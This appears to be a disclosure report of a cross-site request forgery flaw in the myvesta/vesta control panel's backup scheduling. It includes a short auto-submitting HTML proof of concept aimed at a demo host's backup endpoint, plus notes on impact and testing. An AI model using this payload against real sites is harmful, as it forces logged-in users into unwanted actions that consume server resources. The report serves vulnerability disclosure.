Cross-Site Request Forgery (CSRF) in myvesta/vesta
Reported on
Aug 24th 2021
βοΈ Description
In this application there is weak CSRF protection on backup functionality. therefore according to below POC.html
when a logged in user visits attacker website then an unintentional backup request sends to application.
π΅οΈββοΈ Proof of Concept
//PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.myvesta.com/schedule/backup/">
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
π₯ Impact
This vulnerability is capable of forging admin or user to an unintentional backup that can cause using server resource and Disc filling.
π₯ Test
Tested on Edge, Firefox, chrome and safari. π Location index.php#L1 π References csrf